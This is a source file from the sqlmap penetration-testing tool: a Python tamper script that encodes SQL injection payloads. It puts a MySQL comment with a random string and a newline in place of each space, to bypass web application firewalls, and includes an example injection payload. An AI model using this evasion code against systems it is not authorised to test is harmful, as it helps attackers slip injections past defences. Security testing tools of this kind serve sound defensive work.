sqlmap/tamper/space2pound.py

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#!/usr/bin/env python
"""
$Id$
Copyright (c) 2006-2011 sqlmap developers (http://sqlmap.sourceforge.net/)
See the file 'doc/COPYING' for copying permission
"""
import os
import random
import string
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.LOW
def dependencies():
singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__)[:-3], DBMS.MYSQL))
def tamper(payload):
"""
Replaces space character (' ') with a pound character ('#') followed by
a random string and a new line ('\n')
Example:
* Input: 1 AND 9227=9227
* Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227
Requirement:
* MySQL
Tested against:
* MySQL 5.0
Notes:
* Useful to bypass several web application firewalls
"""
retVal = ""
if payload:
for i in xrange(len(payload)):
if payload[i].isspace():
randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
retVal += "%%23%s%%0A" % randomStr
else:
retVal += payload[i]
return retVal